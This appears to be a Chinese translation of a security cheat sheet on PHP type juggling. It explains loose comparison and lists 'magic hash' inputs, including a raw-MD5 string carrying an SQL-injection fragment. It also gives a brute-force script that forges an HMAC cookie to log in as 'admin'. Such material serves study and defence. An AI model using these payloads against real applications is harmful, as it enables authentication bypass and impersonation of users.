类型混淆 (Type Juggling)
PHP 是一种弱类型语言,这意味着它会尝试预测程序员的意图,并在其认为必要时自动转换变量类型。例如,仅包含数字的字符串可以被视为整数或浮点数。然而,这种自动转换(即类型混淆,Type Juggling)会导致意外结果,尤其是在使用
==运算符比较变量时。该运算符仅检查“值相等”(宽松比较,Loose Comparison),而不检查“类型且值相等”(严格比较,Strict Comparison)。
摘要 (Summary)
宽松比较 (Loose Comparison)
当在攻击者可控变量的场景中使用宽松比较(
==或!=)而非严格比较(===或!==)时,就会出现 PHP 类型混淆漏洞。这种漏洞可能导致应用程序对真假语句返回非预期的结果,进而引发严重的授权及/或身份验证漏洞。
- 宽松比较:使用
==或!=—— 两个变量拥有“相同的值”。 - 严格比较:使用
===或!==—— 两个变量拥有“相同的类型且相同的值”。
真值语句 (True Statements)
| 语句 | 输出 |
|---|---|
'0010e2' == '1e3' |
true |
'0xABCdef' == ' 0xABCdef' |
true (PHP 5.0) / false (PHP 7.0) |
'0xABCdef' == ' 0xABCdef' |
true (PHP 5.0) / false (PHP 7.0) |
'0x01' == 1 |
true (PHP 5.0) / false (PHP 7.0) |
'0x1234Ab' == '1193131' |
true (PHP 5.0) / false (PHP 7.0) |
'123' == 123 |
true |
'123a' == 123 |
true |
'abc' == 0 |
true |
'' == 0 == false == NULL |
true |
'' == 0 |
true |
0 == false |
true |
false == NULL |
true |
NULL == '' |
true |
得益于“更合理的字符串与数字比较” (Saner string to number comparisons) RFC,PHP 8 不再尝试将非数值字符串转换为数字。这意味着以
0e开头的哈希冲突利用终于成为了历史。此外,“内部函数一致性类型错误” (Consistent type errors for internal functions) RFC 将防止通过0 == strcmp($_GET['username'], $password)等方式进行的绕过,因为strcmp在出错时不再返回 null 且仅发出警告,而是抛出正式的异常。

宽松类型比较在许多语言中都存在:
NULL 语句 (NULL Statements)
| 函数 | 语句 | 输出 |
|---|---|---|
| sha1 | var_dump(sha1([])); |
NULL |
| md5 | var_dump(md5([])); |
NULL |
魔术哈希 (Magic Hashes)
魔术哈希 (Magic Hashes) 产生于 PHP 类型混淆的一个特性:将字符串哈希与整数比较。如果一个字符串哈希以 "0e" 开头且后续全为数字,PHP 会将其解析为科学计数法,并在比较操作中将其视为浮点数(零)。
| 算法 | "魔术" 数字 / 字符串 | 魔术哈希 (Magic Hash) | 发现者 / 描述 |
|---|---|---|---|
| MD4 | gH0nAdHk | 0e096229559581069251163783434175 | @spaze |
| MD4 | IiF+hTai | 00e90130237707355082822449868597 | @spaze |
| MD5 | 240610708 | 0e462097431906509019562988736854 | @spazef0rze |
| MD5 | QNKCDZO | 0e830400451993494058024219903391 | @spazef0rze |
| MD5 | 0e1137126905 | 0e291659922323405260514745084877 | @spazef0rze |
| MD5 | 0e215962017 | 0e291242476940776845150308577824 | @spazef0rze |
| MD5 | 129581926211651571912466741651878684928 | 06da5430449f8f6f23dfc1276f722738 | 原始形态: ?T0D??o#??'or'8.N=? |
| 算法 | "魔术" 数字 / 字符串 | 魔术哈希 (Magic Hash) | 发现者 / 描述 |
|---|---|---|---|
| SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Michael A. Cleverly, Michele Spagnuolo & Rogdham |
| SHA-224 | 10885164793773 | 0e281250946775200129471613219196999537878926740638594636 | @TihanyiNorbert |
| SHA-256 | 34250003024812 | 0e46289032038065916139621039085883773413820991920706299695051332 | @TihanyiNorbert |
| SHA-256 | TyNOQHUS | 0e66298694359207596086558843543959518835691168370379069085300385 | @Chick3nman512 |
<?php
var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>
方法论 (Methodology)
以下代码中的漏洞在于使用了宽松比较 (!=) 来根据计算出的 $hash 校验 $cookie['hmac']。
function validate_cookie($cookie,$key){
$hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['expiration'], $key);
if($cookie['hmac'] != $hash){ // 宽松比较
return false;
}
else{
echo "Well done";
}
}
在这种情况下,如果攻击者可以控制 $cookie['hmac'] 的值并将其设置为字符串 "0",且能够操纵 hash_hmac 函数返回以 "0e" 开头且后续全为数字的哈希(会被解析为零),那么条件 $cookie['hmac'] != $hash 将评估为 false(即相等),从而有效地绕过 HMAC 检查。
我们控制了 Cookie 中的 3 个元素:
$username—— 攻击目标用户名,通常是 "admin"。$expiration—— UNIX 时间戳,必须是未来的时间。$hmac—— 提供的哈希值,设为 "0"。
漏洞利用阶段如下:
- 准备恶意 Cookie:攻击者准备一个 Cookie,将
$username设置为要伪造的用户(如 "admin"),$expiration设置为未来的 UNIX 时间戳,$hmac设置为 "0"。 - 暴力破解
$expiration值:攻击者随后暴力破解不同的$expiration值,直到hash_hmac函数生成以 "0e" 开头且后续全为数字的哈希。这是一个计算密集型过程,可能取决于系统设置的难度。如果成功,此步骤将生成一个“类零”哈希。
// docker run -it --rm -v /tmp/test:/usr/src/myapp -w /usr/src/myapp php:8.3.0alpha1-cli-buster php exp.php
for($i=1424869663; $i < 1835970773; $i++ ){
$out = hash_hmac('md5', 'admin|'.$i, '');
if(str_starts_with($out, '0e' )){
if($out == 0){
echo "$i - ".$out;
break;
}
}
}
?>
- 使用爆破出的值更新 Cookie 数据:
1539805986 - 0e772967136366835494939987377058
- 在此案例中,我们假设密钥为空字符串:
$key = '';